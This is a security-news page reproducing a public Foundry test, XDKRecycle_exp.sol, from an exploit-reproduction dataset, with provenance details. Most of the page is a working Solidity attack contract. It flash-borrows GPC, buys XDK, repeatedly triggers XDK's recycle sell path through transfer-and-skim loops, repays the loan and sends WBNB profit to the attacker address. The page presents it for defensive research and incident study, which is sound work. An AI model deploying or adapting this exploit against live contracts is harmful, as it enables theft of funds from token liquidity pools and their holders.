Skip to content
THREATWIRE

Public reproduction file

src/test/2026-02/XDKRecycle_exp.sol

Public reproduction file for dataset entry XDKRecycle.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-02/XDKRecycle_exp.sol228 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 6.84 WBNB
8// Attacker : 0xb180ef1bf6fb3e9a0b5db4460e4db804e946cc8a
9// Attack Contract : 0x1e7e4e41defde022e78add6f6e406a7520b63c70
10// Vulnerable Contract : 0x02739be625f7a1cb196f42dceee630c394dd9faa
11// Attack Tx : https://bscscan.com/tx/0x4848bae0fe22f781a94b4613596e7640f70d443db03b6a18fdaffcd30de718d0
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x02739be625f7a1cb196f42dceee630c394dd9faa#code
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2024163654631882916
18//
19// XDK's sell path moves XDK directly out of its Pancake pair and syncs the pair.
20// The attacker flash-borrowed GPC, bought XDK in 10% reserve chunks, repeatedly
21// triggered the recycle path, sold remaining XDK back for GPC, repaid the flash
22// swap, then converted the remaining GPC to WBNB.
24address constant ATTACKER = 0xB180eF1bF6FB3e9A0b5dB4460e4DB804e946cC8a;
25address constant XDK = 0x02739BE625f7A1Cb196F42dceEe630C394DD9FAA;
26address constant GPC = 0xD3c304697f63B279cd314F92c19cDBE5E5b1631A;
27address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
28address constant XDK_GPC_PAIR = 0xe3cBa5C0A8efAeDce84751aF2EFDdCf071D311a9;
29address constant WBNB_GPC_PAIR = 0x12dAbFCe08eF59c24cdee6c488E05179Fb8D64D9;
30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32interface IXDK is IERC20 {
33 function recycleColdTime() external view returns (uint40);
34 function lastRecycleTime() external view returns (uint256);
35 function thisRecycleMaxBalance() external view returns (uint256);
36 function thisRecycleBalance() external view returns (uint256);
39contract ContractTest is BaseTestWithBalanceLog {
40 function setUp() public {
41 uint256 forkBlock = 81_556_795;
42 vm.createSelectFork("bsc", forkBlock);
44 fundingToken = WBNB_TOKEN;
45 attacker = ATTACKER;
47 vm.label(ATTACKER, "Attacker");
48 vm.label(XDK, "XDK");
49 vm.label(GPC, "GPC");
50 vm.label(WBNB_TOKEN, "WBNB");
51 vm.label(XDK_GPC_PAIR, "Pancake XDK/GPC Pair");
52 vm.label(WBNB_GPC_PAIR, "Pancake WBNB/GPC Pair");
53 vm.label(PANCAKE_ROUTER, "Pancake Router");
54 }
56 function testExploit() public balanceLog {
57 uint256 beforeBalance = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);
59 vm.startPrank(ATTACKER);
60 XDKRecycleAttack attack = new XDKRecycleAttack(ATTACKER);
61 attack.attack();
62 vm.stopPrank();
64 uint256 profit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - beforeBalance;
65 assertGt(profit, 6 ether);
66 }
69contract XDKRecycleAttack is IPancakeCallee {
70 IXDK private constant xdk = IXDK(XDK);
71 IERC20 private constant gpc = IERC20(GPC);
72 IERC20 private constant wbnb = IERC20(WBNB_TOKEN);
73 IPancakePair private constant xdkGpcPair = IPancakePair(XDK_GPC_PAIR);
74 IPancakePair private constant flashPair = IPancakePair(WBNB_GPC_PAIR);
75 IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
77 address private immutable profitReceiver;
79 constructor(
80 address receiver
81 ) {
82 profitReceiver = receiver;
83 gpc.approve(PANCAKE_ROUTER, type(uint256).max);
84 xdk.approve(PANCAKE_ROUTER, type(uint256).max);
85 }
87 function attack() external {
88 (, uint112 gpcReserve,) = flashPair.getReserves();
89 uint256 borrowAmount = (uint256(gpcReserve) * 99) / 100;
91 // step 1: borrow nearly all GPC from the WBNB/GPC pair.
92 flashPair.swap(0, borrowAmount, address(this), abi.encode(borrowAmount));
94 // step 5: convert post-repayment GPC surplus to WBNB and forward profit.
95 uint256 gpcProfit = gpc.balanceOf(address(this));
96 if (gpcProfit > 0) {
97 address[] memory path = new address[](2);
98 path[0] = GPC;
99 path[1] = WBNB_TOKEN;
100 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
101 gpcProfit, 0, path, address(this), block.timestamp
102 );
103 }
105 uint256 wbnbProfit = wbnb.balanceOf(address(this));
106 if (wbnbProfit > 0) {
107 wbnb.transfer(profitReceiver, wbnbProfit);
108 }
109 }
111 function pancakeCall(address sender, uint256, uint256 amount1, bytes calldata data) external override {
112 require(msg.sender == WBNB_GPC_PAIR, "unexpected pair");
113 require(sender == address(this), "unexpected sender");
114 uint256 borrowed = abi.decode(data, (uint256));
115 require(amount1 == borrowed, "unexpected amount");
117 // step 2: if the recycle window is stale, trigger one small sell to reset it.
118 if (block.timestamp > xdk.lastRecycleTime() + xdk.recycleColdTime()) {
119 primeRecycleWindow();
120 }
122 // step 3: spend borrowed GPC buying XDK from the manipulated pair.
123 buyXdkWithGpcUntilSpent();
125 // step 4: sell XDK through XDK's recycle path, then sell the leftovers for GPC.
126 sellXdkIntoRecycleWindow();
127 sellRemainingXdkForGpc();
129 uint256 repayAmount = (borrowed * 10_000) / 9_975 + 1;
130 gpc.transfer(WBNB_GPC_PAIR, repayAmount);
131 }
133 function primeRecycleWindow() private {
134 gpc.transfer(XDK_GPC_PAIR, 1 ether);
136 (uint112 reserveXdk, uint112 reserveGpc,) = xdkGpcPair.getReserves();
137 uint256 amountIn = gpc.balanceOf(XDK_GPC_PAIR) - uint256(reserveGpc);
138 uint256 amountOut = getAmountOut(amountIn, reserveGpc, reserveXdk);
139 if (amountOut > 0) {
140 xdkGpcPair.swap(amountOut, 0, address(this), "");
141 }
143 uint256 xdkBalance = xdk.balanceOf(address(this));
144 if (xdkBalance > 0) {
145 xdk.transfer(XDK_GPC_PAIR, xdkBalance);
146 xdkGpcPair.skim(address(this));
147 }
148 }
150 function buyXdkWithGpcUntilSpent() private {
151 for (uint256 i = 0; i < 20; i++) {
152 uint256 balance = gpc.balanceOf(address(this));
153 if (balance == 0) break;
155 (uint112 reserveXdk, uint112 reserveGpc,) = xdkGpcPair.getReserves();
156 uint256 targetOut = cappedTenth(reserveXdk);
157 uint256 amountIn = getAmountIn(targetOut, reserveGpc, reserveXdk);
158 if (amountIn > balance) amountIn = balance;
160 gpc.transfer(XDK_GPC_PAIR, amountIn);
161 uint256 actualIn = gpc.balanceOf(XDK_GPC_PAIR) - uint256(reserveGpc);
162 uint256 amountOut = getAmountOut(actualIn, reserveGpc, reserveXdk);
163 if (amountOut == 0) break;
165 xdkGpcPair.swap(amountOut, 0, address(this), "");
166 }
167 }
169 function sellXdkIntoRecycleWindow() private {
170 for (uint256 i = 0; i < 55; i++) {
171 if (xdk.thisRecycleBalance() >= xdk.thisRecycleMaxBalance()) break;
172 uint256 xdkBalance = xdk.balanceOf(address(this));
173 if (xdkBalance == 0) break;
175 (uint112 reserveXdk,,) = xdkGpcPair.getReserves();
176 uint256 amountIn = min(xdkBalance, cappedTenth(reserveXdk));
177 if (amountIn == 0) break;
179 xdk.transfer(XDK_GPC_PAIR, amountIn);
180 xdkGpcPair.skim(address(this));
181 }
182 }
184 function sellRemainingXdkForGpc() private {
185 for (uint256 i = 0; i < 27; i++) {
186 uint256 xdkBalance = xdk.balanceOf(address(this));
187 if (xdkBalance == 0) break;
189 (uint112 reserveXdk,,) = xdkGpcPair.getReserves();
190 uint256 amountIn = min(xdkBalance, cappedTenth(reserveXdk));
191 if (amountIn == 0) break;
193 xdk.transfer(XDK_GPC_PAIR, amountIn);
195 uint112 reserveGpc;
196 (reserveXdk, reserveGpc,) = xdkGpcPair.getReserves();
197 uint256 actualIn = xdk.balanceOf(XDK_GPC_PAIR) - uint256(reserveXdk);
198 uint256 amountOut = getAmountOut(actualIn, reserveXdk, reserveGpc);
199 if (amountOut == 0) {
200 xdkGpcPair.skim(address(this));
201 break;
202 }
204 xdkGpcPair.swap(0, amountOut, address(this), "");
205 }
206 }
208 function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) private pure returns (uint256) {
209 if (amountIn == 0) return 0;
210 uint256 amountInWithFee = amountIn * 9_975;
211 return (amountInWithFee * reserveOut) / ((reserveIn * 10_000) + amountInWithFee);
212 }
214 function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) private pure returns (uint256) {
215 uint256 numerator = reserveIn * amountOut * 10_000;
216 uint256 denominator = (reserveOut - amountOut) * 9_975;
217 return (numerator / denominator) + 1;
218 }
220 function min(uint256 a, uint256 b) private pure returns (uint256) {
221 return a < b ? a : b;
222 }
224 function cappedTenth(uint256 reserveXdk) private pure returns (uint256) {
225 uint256 cap = reserveXdk / 10;
226 return cap == 0 ? 0 : cap - 1;
227 }

Analysis

Dataset entry

Public Foundry test for “XDKRecycle” (2026-02-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

4 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xb180ef1bf6fb3e9a0b5db4460e4db804e946cc8a

  • Attack Contract

    0x1e7e4e41defde022e78add6f6e406a7520b63c70

  • Vulnerable Contract

    0x02739be625f7a1cb196f42dceee630c394dd9faa

  • Attack Tx

    0x4848bae0fe22f781a94b4613596e7640f70d443db03b6a18fdaffcd30de718d0

File record

Name
XDKRecycle
Path
src/test/2026-02/XDKRecycle_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9e9191f69dcb4c12de392fda683d5287f03f6d53
Language
Solidity
Size
229 lines
Date
2026-02-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-02/XDKRecycle_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9e9191f69dcb4c12de392fda683d5287f03f6d53, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.